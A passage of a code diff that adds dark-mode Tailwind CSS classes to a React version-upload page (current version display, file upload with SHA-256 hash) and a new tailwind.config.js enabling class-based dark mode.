<div className="bg-gray-50 px-6 py-4 border-b"> <div className="bg-gray-50 dark:bg-gray-700 px-6 py-4 border-b dark:border-gray-600">
<h2 className="text-xl font-semibold text-gray-700"></h2> <h2 className="text-xl font-semibold text-gray-700 dark:text-gray-200"></h2>
</div> </div>
<div className="p-6"> <div className="p-6">
{currentVersion ? ( {currentVersion ? (
<div className="space-y-3"> <div className="space-y-3">
<div className="grid grid-cols-12 gap-4 items-center"> <div className="grid grid-cols-12 gap-4 items-center">
<span className="text-gray-600 col-span-2">:</span> <span className="text-gray-600 dark:text-gray-400 col-span-2">:</span>
<span className="font-medium text-gray-800 col-span-10">{currentVersion.version}</span> <span className="font-medium text-gray-800 dark:text-gray-200 col-span-10">{currentVersion.version}</span>
</div> </div>
<div className="grid grid-cols-12 gap-4 items-center"> <div className="grid grid-cols-12 gap-4 items-center">
<span className="text-gray-600 col-span-2">:</span> <span className="text-gray-600 dark:text-gray-400 col-span-2">:</span>
<a <a
href={currentVersion.download_url} href={currentVersion.download_url}
className="text-blue-600 hover:text-blue-800 break-all col-span-10" className="text-blue-600 dark:text-blue-400 hover:text-blue-800 dark:hover:text-blue-300 break-all col-span-10"
> >
{currentVersion.download_url} {currentVersion.download_url}
</a> </a>
</div> </div>
<div className="grid grid-cols-12 gap-4 items-center"> <div className="grid grid-cols-12 gap-4 items-center">
<span className="text-gray-600 col-span-2">:</span> <span className="text-gray-600 dark:text-gray-400 col-span-2">:</span>
<span className="font-mono text-sm text-gray-700 break-all col-span-10"> <span className="font-mono text-sm text-gray-700 dark:text-gray-300 break-all col-span-10">
{currentVersion.checksum} {currentVersion.checksum}
</span> </span>
</div> </div>
</div> </div>
) : ( ) : (
<div className="text-gray-500 italic"></div> <div className="text-gray-500 dark:text-gray-400 italic"></div>
)} )}
</div> </div>
</div> </div>
{/* 上传新版本表单 */} {/* 上传新版本表单 */}
<div className="bg-white rounded-lg shadow-md"> <div className="bg-white dark:bg-gray-800 rounded-lg shadow-md">
<div className="bg-gray-50 px-6 py-4 border-b"> <div className="bg-gray-50 dark:bg-gray-700 px-6 py-4 border-b dark:border-gray-600">
<h2 className="text-xl font-semibold text-gray-700"></h2> <h2 className="text-xl font-semibold text-gray-700 dark:text-gray-200"></h2>
</div> </div>
<div className="p-6 space-y-6"> <div className="p-6 space-y-6">
{/* 版本号输入 */} {/* 版本号输入 */}
<div> <div>
<label className="block text-sm font-medium text-gray-700 mb-2"> <label className="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2">
</label> </label>
<input <input
value={newVersion} value={newVersion}
onChange={(e) => setNewVersion(e.target.value)} onChange={(e) => setNewVersion(e.target.value)}
type="text" type="text"
className="w-full px-4 py-2 border rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition" className="w-full px-4 py-2 border dark:border-gray-600 rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition bg-white dark:bg-gray-700 text-gray-900 dark:text-white"
placeholder="例如: 1.0.0" placeholder="例如: 1.0.0"
/> />
</div> </div>
{/* 文件上传 */} {/* 文件上传 */}
<div> <div>
<label className="block text-sm font-medium text-gray-700 mb-2"> <label className="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2">
</label> </label>
<div className="mt-1"> <div className="mt-1">
<div className="border-2 border-dashed border-gray-300 rounded-lg px-6 py-8"> <div className="border-2 border-dashed border-gray-300 dark:border-gray-600 rounded-lg px-6 py-8">
<div className="text-center"> <div className="text-center">
<input <input
type="file" type="file"
@ -176,14 +176,14 @@ export default function UploadPage() {
> >
</label> </label>
<p className="mt-2 text-sm text-gray-600"> <p className="mt-2 text-sm text-gray-600 dark:text-gray-400">
{versionFile?.name || '未选择文件'} {versionFile?.name || '未选择文件'}
</p> </p>
</div> </div>
{versionFileHash && ( {versionFileHash && (
<div className="mt-4 text-center"> <div className="mt-4 text-center">
<p className="text-xs text-gray-500">SHA-256 :</p> <p className="text-xs text-gray-500 dark:text-gray-400">SHA-256 :</p>
<p className="font-mono text-xs text-gray-600 break-all"> <p className="font-mono text-xs text-gray-600 dark:text-gray-400 break-all">
{versionFileHash} {versionFileHash}
</p> </p>
</div> </div>
@ -194,14 +194,14 @@ export default function UploadPage() {
{/* 错误提示 */} {/* 错误提示 */}
{uploadError && ( {uploadError && (
<div className="text-red-600 text-sm"> <div className="text-red-600 dark:text-red-400 text-sm">
{uploadError} {uploadError}
</div> </div>
)} )}
{/* 成功提示 */} {/* 成功提示 */}
{uploadSuccess && ( {uploadSuccess && (
<div className="bg-green-50 text-green-800 px-4 py-2 rounded-md text-sm"> <div className="bg-green-50 dark:bg-green-900/50 text-green-800 dark:text-green-200 px-4 py-2 rounded-md text-sm">
</div> </div>
)} )}
@ -211,7 +211,7 @@ export default function UploadPage() {
<button <button
onClick={uploadVersion} onClick={uploadVersion}
disabled={!canUploadVersion} disabled={!canUploadVersion}
className="inline-flex items-center px-6 py-3 border border-transparent text-base font-medium rounded-md shadow-sm text-white bg-blue-600 hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500 disabled:bg-gray-300 disabled:cursor-not-allowed transition-colors" className="inline-flex items-center px-6 py-3 border border-transparent text-base font-medium rounded-md shadow-sm text-white bg-blue-600 hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500 disabled:bg-gray-300 dark:disabled:bg-gray-600 disabled:cursor-not-allowed transition-colors"
> >
{isUploading && ( {isUploading && (
<svg className="animate-spin -ml-1 mr-3 h-5 w-5 text-white" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"> <svg className="animate-spin -ml-1 mr-3 h-5 w-5 text-white" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">

18
tailwind.config.js Normal file
View File

@ -0,0 +1,18 @@
/** @type {import('tailwindcss').Config} */
module.exports = {
content: [
'./pages/**/*.{js,ts,jsx,tsx,mdx}',
'./components/**/*.{js,ts,jsx,tsx,mdx}',
'./app/**/*.{js,ts,jsx,tsx,mdx}',
],
darkMode: 'class', // 使用类模式,允许手动切换
theme: {
extend: {
colors: {
background: 'var(--background)',
foreground: 'var(--foreground)',
},
},
},
plugins: [],
}